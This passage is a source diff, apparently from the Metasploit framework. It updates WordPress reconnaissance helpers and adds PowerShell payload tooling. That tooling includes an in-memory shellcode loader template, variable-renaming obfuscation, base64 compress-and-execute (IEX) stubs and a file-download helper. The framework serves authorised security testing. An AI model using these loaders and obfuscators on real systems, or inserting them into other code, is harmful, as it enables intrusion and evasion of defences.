if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
|
||||
)
|
||||
if res && res.redirect? && res.redirection && res.redirection.to_s == redirect
|
||||
cookies = res.get_cookies
|
||||
# Check if a valid wordpress cookie is returned
|
||||
return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
|
||||
return cookies if
|
||||
# current Wordpress
|
||||
cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
|
||||
# Wordpress 2.0
|
||||
cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
|
||||
# Wordpress 2.5
|
||||
cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
|
||||
end
|
||||
|
||||
return nil
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -112,7 +112,7 @@ module Msf::HTTP::Wordpress::Posts
|
|||
count = max_redirects
|
||||
|
||||
# Follow redirects
|
||||
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
|
||||
while res.redirect? && res.redirection && count != 0
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return nil unless path
|
||||
|
||||
|
|
|
@ -80,4 +80,25 @@ module Msf::HTTP::Wordpress::URIs
|
|||
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress wp-content dir URL
|
||||
#
|
||||
# @return [String] Wordpress wp-content dir URL
|
||||
def wordpress_url_wp_content
|
||||
normalize_uri(target_uri.path, wp_content_dir)
|
||||
end
|
||||
|
||||
# Returns the Wordpress plugins dir URL
|
||||
#
|
||||
# @return [String] Wordpress plugins dir URL
|
||||
def wordpress_url_plugins
|
||||
normalize_uri(wordpress_url_wp_content, 'plugins')
|
||||
end
|
||||
|
||||
# Returns the Wordpress themes dir URL
|
||||
#
|
||||
# @return [String] Wordpress themes dir URL
|
||||
def wordpress_url_themes
|
||||
normalize_uri(wordpress_url_wp_content, 'themes')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -33,7 +33,7 @@ module Msf::HTTP::Wordpress::Users
|
|||
'uri' => url
|
||||
})
|
||||
|
||||
if res and res.code == 301
|
||||
if res and res.redirect?
|
||||
uri = wordpress_helper_parse_location_header(res)
|
||||
return nil unless uri
|
||||
# try to extract username from location
|
||||
|
|
|
@ -2,63 +2,124 @@
|
|||
|
||||
module Msf::HTTP::Wordpress::Version
|
||||
|
||||
# Used to check if the version is correct: must contain at least one dot
|
||||
WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)'
|
||||
|
||||
# Extracts the Wordpress version information from various sources
|
||||
#
|
||||
# @return [String,nil] Wordpress version if found, nil otherwise
|
||||
def wordpress_version
|
||||
# detect version from generator
|
||||
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i)
|
||||
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{WORDPRESS_VERSION_PATTERN}" \/>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from readme
|
||||
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i)
|
||||
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{WORDPRESS_VERSION_PATTERN}/i)
|
||||
return version if version
|
||||
|
||||
# detect version from rss
|
||||
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i)
|
||||
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}<\/generator>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from rdf
|
||||
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i)
|
||||
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}" \/>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from atom
|
||||
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i)
|
||||
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{WORDPRESS_VERSION_PATTERN}">WordPress<\/generator>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from sitemap
|
||||
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
||||
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
|
||||
return version if version
|
||||
|
||||
# detect version from opml
|
||||
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
||||
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
|
||||
return version if version
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Used to check if the version is correct: must contain at least one dot.
|
||||
# Checks a readme for a vulnerable version
|
||||
#
|
||||
# @return [ String ]
|
||||
def wordpress_version_pattern
|
||||
'([^\r\n"\']+\.[^\r\n"\']+)'
|
||||
# @param [String] plugin_name The name of the plugin
|
||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
|
||||
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
# Checks a readme for a vulnerable version
|
||||
#
|
||||
# @param [String] theme_name The name of the theme
|
||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
|
||||
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def wordpress_version_helper(url, regex)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
})
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
)
|
||||
if res
|
||||
match = res.body.match(regex)
|
||||
if match
|
||||
return match[1]
|
||||
end
|
||||
return match[1] if match
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
|
||||
case type
|
||||
when :plugin
|
||||
folder = 'plugins'
|
||||
when :theme
|
||||
folder = 'themes'
|
||||
else
|
||||
fail("Unknown readme type #{type}")
|
||||
end
|
||||
|
||||
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt')
|
||||
res = send_request_cgi(
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
# no readme.txt present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||
|
||||
# readme present, but no version number
|
||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||
|
||||
vprint_status("#{peer} - Found version #{version} of the #{type}")
|
||||
|
||||
# Version older than fixed version
|
||||
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
|
||||
if vuln_introduced_version.nil?
|
||||
# All versions are vulnerable
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
# vuln_introduced_version provided, check if version is newer
|
||||
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
# Not in range, nut vulnerable
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
# version newer than fixed version
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1802,7 +1802,7 @@ class Db
|
|||
# Miscellaneous option helpers
|
||||
#
|
||||
|
||||
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
|
||||
# Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+
|
||||
#
|
||||
# @note This modifies +host_ranges+ in place
|
||||
#
|
||||
|
|
|
@ -1084,17 +1084,18 @@ require 'msf/core/exe/segment_injector'
|
|||
end
|
||||
|
||||
def self.to_win32pe_psh_net(framework, code, opts={})
|
||||
hash_sub = {}
|
||||
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_kernel32)
|
||||
rig.init_var(:var_baseaddr)
|
||||
rig.init_var(:var_threadHandle)
|
||||
rig.init_var(:var_output)
|
||||
rig.init_var(:var_codeProvider)
|
||||
rig.init_var(:var_compileParams)
|
||||
rig.init_var(:var_syscode)
|
||||
rig.init_var(:var_temp)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/exploitation/powershell/output'
|
||||
require 'rex/exploitation/powershell/parser'
|
||||
require 'rex/exploitation/powershell/obfu'
|
||||
require 'rex/exploitation/powershell/param'
|
||||
require 'rex/exploitation/powershell/function'
|
||||
require 'rex/exploitation/powershell/script'
|
||||
require 'rex/exploitation/powershell/psh_methods'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
#
|
||||
# Reads script into a PowershellScript
|
||||
#
|
||||
# @param script_path [String] Path to the Script File
|
||||
#
|
||||
# @return [Script] Powershell Script object
|
||||
def self.read_script(script_path)
|
||||
Rex::Exploitation::Powershell::Script.new(script_path)
|
||||
end
|
||||
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# If script is a path to a file then read the file
|
||||
# otherwise treat it as the contents of a file
|
||||
#
|
||||
# @param script [String] Script file or path to script
|
||||
# @param subs [Array] Substitutions to insert
|
||||
#
|
||||
# @return [String] Modified script file
|
||||
def self.make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
end
|
||||
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0], set[1])
|
||||
end
|
||||
|
||||
script
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
#
|
||||
# @param subs [String] A ; seperated list of substitutions
|
||||
#
|
||||
# @return [Array] An array of substitutions
|
||||
def self.process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
|
||||
new_subs
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,63 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Function
|
||||
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
|
||||
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
|
||||
attr_accessor :code, :name, :params
|
||||
|
||||
include Output
|
||||
include Parser
|
||||
include Obfu
|
||||
|
||||
def initialize(name, code)
|
||||
@name = name
|
||||
@code = code
|
||||
populate_params
|
||||
end
|
||||
|
||||
#
|
||||
# To String
|
||||
#
|
||||
# @return [String] Powershell function
|
||||
def to_s
|
||||
"function #{name} #{code}"
|
||||
end
|
||||
|
||||
#
|
||||
# Identify the parameters from the code and
|
||||
# store as Param in @params
|
||||
#
|
||||
def populate_params
|
||||
@params = []
|
||||
start = code.index(PARAMETER_REGEX)
|
||||
return unless start
|
||||
# Get start of our block
|
||||
idx = scan_with_index('(', code[start..-1]).first.last + start
|
||||
pclause = block_extract(idx)
|
||||
|
||||
matches = pclause.scan(FUNCTION_REGEX)
|
||||
|
||||
# Ignore assignment, create params with class and variable names
|
||||
matches.each do |param|
|
||||
klass = nil
|
||||
name = nil
|
||||
param.each do |value|
|
||||
if value
|
||||
if klass
|
||||
name = value
|
||||
@params << Param.new(klass, name)
|
||||
break
|
||||
else
|
||||
klass = value
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,98 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Obfu
|
||||
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
|
||||
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
|
||||
WINDOWS_EOL_REGEX = Regexp.new(/[\r\n]+/)
|
||||
UNIX_EOL_REGEX = Regexp.new(/[\n]+/)
|
||||
WHITESPACE_REGEX = Regexp.new(/\s+/)
|
||||
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
|
||||
|
||||
#
|
||||
# Remove comments
|
||||
#
|
||||
# @return [String] code without comments
|
||||
def strip_comments
|
||||
# Multi line
|
||||
code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
|
||||
# Single line
|
||||
code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Remove empty lines
|
||||
#
|
||||
# @return [String] code without empty lines
|
||||
def strip_empty_lines
|
||||
# Windows EOL
|
||||
code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
|
||||
# UNIX EOL
|
||||
code.gsub!(UNIX_EOL_REGEX, "\n")
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Remove whitespace
|
||||
# This can break some codes using inline .NET
|
||||
#
|
||||
# @return [String] code with whitespace stripped
|
||||
def strip_whitespace
|
||||
code.gsub!(WHITESPACE_REGEX, ' ')
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Identify variables and replace them
|
||||
#
|
||||
# @return [String] code with variable names replaced with unique values
|
||||
def sub_vars
|
||||
# Get list of variables, remove reserved
|
||||
get_var_names.each do |var, _sub|
|
||||
code.gsub!(var, "$#{@rig.init_var(var)}")
|
||||
end
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Identify function names and replace them
|
||||
#
|
||||
# @return [String] code with function names replaced with unique
|
||||
# values
|
||||
def sub_funcs
|
||||
# Find out function names, make map
|
||||
get_func_names.each do |var, _sub|
|
||||
code.gsub!(var, @rig.init_var(var))
|
||||
end
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Perform standard substitutions
|
||||
#
|
||||
# @return [String] code with standard substitution methods applied
|
||||
def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
|
||||
# Save us the trouble of breaking injected .NET and such
|
||||
subs.delete('strip_whitespace') unless get_string_literals.empty?
|
||||
# Run selected modifiers
|
||||
subs.each do |modifier|
|
||||
send(modifier)
|
||||
end
|
||||
code.gsub!(EMPTY_LINE_REGEX, '')
|
||||
|
||||
code
|
||||
end
|
||||
end # Obfu
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,151 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'zlib'
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Output
|
||||
#
|
||||
# To String
|
||||
#
|
||||
# @return [String] Code
|
||||
def to_s
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Returns code size
|
||||
#
|
||||
# @return [Integer] Code size
|
||||
def size
|
||||
code.size
|
||||
end
|
||||
|
||||
#
|
||||
# Return code with numbered lines
|
||||
#
|
||||
# @return [String] Powershell code with line numbers
|
||||
def to_s_lineno
|
||||
numbered = ''
|
||||
code.split(/\r\n|\n/).each_with_index do |line, idx|
|
||||
numbered << "#{idx}: #{line}"
|
||||
end
|
||||
|
||||
numbered
|
||||
end
|
||||
|
||||
#
|
||||
# Return a zlib compressed powershell code wrapped in decode stub
|
||||
#
|
||||
# @param eof [String] End of file identifier to append to code
|
||||
#
|
||||
# @return [String] Zlib compressed powershell code wrapped in
|
||||
# decompression stub
|
||||
def deflate_code(eof = nil)
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = ::Zlib::Deflate.deflate(code,
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = '$s=New-Object IO.MemoryStream(,'
|
||||
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||
# Read & delete the first two bytes due to incompatibility with MS
|
||||
psh_expression << '$s.ReadByte();'
|
||||
psh_expression << '$s.ReadByte();'
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||
psh_expression << 'New-Object IO.Compression.DeflateStream('
|
||||
psh_expression << '$s,'
|
||||
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||
psh_expression << ')).ReadToEnd();'
|
||||
|
||||
# If eof is set, add a marker to signify end of code output
|
||||
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
psh_expression << "echo '#{eof}';" if eof
|
||||
|
||||
@code = psh_expression
|
||||
end
|
||||
|
||||
#
|
||||
# Return Base64 encoded powershell code
|
||||
#
|
||||
# @return [String] Base64 encoded powershell code
|
||||
def encode_code
|
||||
@code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
|
||||
end
|
||||
|
||||
#
|
||||
# Return a gzip compressed powershell code wrapped in decoder stub
|
||||
#
|
||||
# @param eof [String] End of file identifier to append to code
|
||||
#
|
||||
# @return [String] Gzip compressed powershell code wrapped in
|
||||
# decompression stub
|
||||
def gzip_code(eof = nil)
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = Rex::Text.gzip(code)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = '$s=New-Object IO.MemoryStream(,'
|
||||
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||
psh_expression << 'New-Object IO.Compression.GzipStream('
|
||||
psh_expression << '$s,'
|
||||
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||
psh_expression << ')).ReadToEnd();'
|
||||
|
||||
# If eof is set, add a marker to signify end of code output
|
||||
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
psh_expression << "echo '#{eof}';" if eof
|
||||
|
||||
@code = psh_expression
|
||||
end
|
||||
|
||||
#
|
||||
# Compresses script contents with gzip (default) or deflate
|
||||
#
|
||||
# @param eof [String] End of file identifier to append to code
|
||||
# @param gzip [Boolean] Whether to use gzip compression or deflate
|
||||
#
|
||||
# @return [String] Compressed code wrapped in decompression stub
|
||||
def compress_code(eof = nil, gzip = true)
|
||||
@code = gzip ? gzip_code(eof) : deflate_code(eof)
|
||||
end
|
||||
|
||||
#
|
||||
# Reverse the compression process
|
||||
# Try gzip, inflate if that fails
|
||||
#
|
||||
# @return [String] Decompressed powershell code
|
||||
def decompress_code
|
||||
# Extract substring with payload
|
||||
encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
|
||||
# Decode and decompress the string
|
||||
unencoded = Rex::Text.decode_base64(encoded_stream)
|
||||
begin
|
||||
@code = Rex::Text.ungzip(unencoded) || Rex::Text.zlib_inflate(unencoded)
|
||||
rescue Zlib::GzipFile::Error
|
||||
begin
|
||||
@code = Rex::Text.zlib_inflate(unencoded)
|
||||
rescue Zlib::DataError => e
|
||||
raise RuntimeError, 'Invalid compression'
|
||||
end
|
||||
end
|
||||
|
||||
@code
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,23 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Param
|
||||
attr_accessor :klass, :name
|
||||
def initialize(klass, name)
|
||||
@klass = klass.strip
|
||||
@name = name.strip.gsub(/\s|,/, '')
|
||||
end
|
||||
|
||||
#
|
||||
# To String
|
||||
#
|
||||
# @return [String] Powershell param
|
||||
def to_s
|
||||
"[#{klass}]$#{name}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,183 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Parser
|
||||
# Reserved special variables
|
||||
# Acquired with: Get-Variable | Format-Table name, value -auto
|
||||
RESERVED_VARIABLE_NAMES = [
|
||||
'$$',
|
||||
'$?',
|
||||
'$^',
|
||||
'$_',
|
||||
'$args',
|
||||
'$ConfirmPreference',
|
||||
'$ConsoleFileName',
|
||||
'$DebugPreference',
|
||||
'$Env',
|
||||
'$Error',
|
||||
'$ErrorActionPreference',
|
||||
'$ErrorView',
|
||||
'$ExecutionContext',
|
||||
'$false',
|
||||
'$FormatEnumerationLimit',
|
||||
'$HOME',
|
||||
'$Host',
|
||||
'$input',
|
||||
'$LASTEXITCODE',
|
||||
'$MaximumAliasCount',
|
||||
'$MaximumDriveCount',
|
||||
'$MaximumErrorCount',
|
||||
'$MaximumFunctionCount',
|
||||
'$MaximumHistoryCount',
|
||||
'$MaximumVariableCount',
|
||||
'$MyInvocation',
|
||||
'$NestedPromptLevel',
|
||||
'$null',
|
||||
'$OutputEncoding',
|
||||
'$PID',
|
||||
'$PROFILE',
|
||||
'$ProgressPreference',
|
||||
'$PSBoundParameters',
|
||||
'$PSCulture',
|
||||
'$PSEmailServer',
|
||||
'$PSHOME',
|
||||
'$PSSessionApplicationName',
|
||||
'$PSSessionConfigurationName',
|
||||
'$PSSessionOption',
|
||||
'$PSUICulture',
|
||||
'$PSVersionTable',
|
||||
'$PWD',
|
||||
'$ReportErrorShowExceptionClass',
|
||||
'$ReportErrorShowInnerException',
|
||||
'$ReportErrorShowSource',
|
||||
'$ReportErrorShowStackTrace',
|
||||
'$ShellId',
|
||||
'$StackTrace',
|
||||
'$true',
|
||||
'$VerbosePreference',
|
||||
'$WarningPreference',
|
||||
'$WhatIfPreference'
|
||||
].map(&:downcase).freeze
|
||||
|
||||
#
|
||||
# Get variable names from code, removes reserved names from return
|
||||
#
|
||||
# @return [Array] variable names
|
||||
def get_var_names
|
||||
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
||||
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
|
||||
end
|
||||
|
||||
#
|
||||
# Get function names from code
|
||||
#
|
||||
# @return [Array] function names
|
||||
def get_func_names
|
||||
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt to find string literals in PSH expression
|
||||
#
|
||||
# @return [Array] string literals
|
||||
def get_string_literals
|
||||
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
||||
end
|
||||
|
||||
#
|
||||
# Scan code and return matches with index
|
||||
#
|
||||
# @param str [String] string to match in code
|
||||
# @param source [String] source code to match, defaults to @code
|
||||
#
|
||||
# @return [Array[String,Integer]] matched items with index
|
||||
def scan_with_index(str, source = code)
|
||||
::Enumerator.new do |y|
|
||||
source.scan(str) do
|
||||
y << ::Regexp.last_match
|
||||
end
|
||||
end.map { |m| [m.to_s, m.offset(0)[0]] }
|
||||
end
|
||||
|
||||
#
|
||||
# Return matching bracket type
|
||||
#
|
||||
# @param char [String] opening bracket character
|
||||
#
|
||||
# @return [String] matching closing bracket
|
||||
def match_start(char)
|
||||
case char
|
||||
when '{'
|
||||
'}'
|
||||
when '('
|
||||
')'
|
||||
when '['
|
||||
']'
|
||||
when '<'
|
||||
'>'
|
||||
else
|
||||
fail ArgumentError, 'Unknown starting bracket'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Extract block of code inside brackets/parenthesis
|
||||
#
|
||||
# Attempts to match the bracket at idx, handling nesting manually
|
||||
# Once the balanced matching bracket is found, all script content
|
||||
# between idx and the index of the matching bracket is returned
|
||||
#
|
||||
# @param idx [Integer] index of opening bracket
|
||||
#
|
||||
# @return [String] content between matching brackets
|
||||
def block_extract(idx)
|
||||
fail ArgumentError unless idx
|
||||
|
||||
if idx < 0 || idx >= code.length
|
||||
fail ArgumentError, 'Invalid index'
|
||||
end
|
||||
|
||||
start = code[idx]
|
||||
stop = match_start(start)
|
||||
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
|
||||
delims.map { |x| x[1] = x[1] + idx + 1 }
|
||||
c = 1
|
||||
sidx = nil
|
||||
# Go through delims till we balance, get idx
|
||||
while (c != 0) && (x = delims.shift)
|
||||
sidx = x[1]
|
||||
x[0] == stop ? c -= 1 : c += 1
|
||||
end
|
||||
|
||||
code[idx..sidx]
|
||||
end
|
||||
|
||||
#
|
||||
# Extract a block of function code
|
||||
#
|
||||
# @param func_name [String] function name
|
||||
# @param delete [Boolean] delete the function from the code
|
||||
#
|
||||
# @return [String] function block
|
||||
def get_func(func_name, delete = false)
|
||||
start = code.index(func_name)
|
||||
|
||||
return nil unless start
|
||||
|
||||
idx = code[start..-1].index('{') + start
|
||||
func_txt = block_extract(idx)
|
||||
|
||||
if delete
|
||||
delete_code = code[0..idx]
|
||||
delete_code << code[(idx + func_txt.length)..-1]
|
||||
@code = delete_code
|
||||
end
|
||||
|
||||
Function.new(func_name, func_txt)
|
||||
end
|
||||
end # Parser
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
##
|
||||
# Convenience methods for generating powershell code in Ruby
|
||||
##
|
||||
|
||||
module PshMethods
|
||||
#
|
||||
# Download file via .NET WebClient
|
||||
#
|
||||
# @param src [String] URL to the file
|
||||
# @param target [String] Location to save the file
|
||||
#
|
||||
# @return [String] Powershell code to download a file
|
||||
def self.download(src, target)
|
||||
target ||= '$pwd\\' << src.split('/').last
|
||||
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
|
||||
end
|
||||
|
||||
#
|
||||
# Uninstall app, or anything named like app
|
||||
#
|
||||
# @param app [String] Name of application
|
||||
# @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
|
||||
# the application name
|
||||
#
|
||||
# @return [String] Powershell code to uninstall an application
|
||||
def self.uninstall(app, fuzzy = true)
|
||||
match = fuzzy ? '-like' : '-eq'
|
||||
%Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
|
||||
end
|
||||
|
||||
#
|
||||
# Create secure string from plaintext
|
||||
#
|
||||
# @param str [String] String to create as a SecureString
|
||||
#
|
||||
# @return [String] Powershell code to create a SecureString
|
||||
def self.secure_string(str)
|
||||
%Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
|
||||
end
|
||||
|
||||
#
|
||||
# Find PID of file lock owner
|
||||
#
|
||||
# @param filename [String] Filename
|
||||
#
|
||||
# @return [String] Powershell code to identify the PID of a file
|
||||
# lock owner
|
||||
def self.who_locked_file(filename)
|
||||
%Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
||||
end
|
||||
|
||||
#
|
||||
# Return last time of login
|
||||
#
|
||||
# @param user [String] Username
|
||||
#
|
||||
# @return [String] Powershell code to return the last time of a user
|
||||
# login
|
||||
def self.get_last_login(user)
|
||||
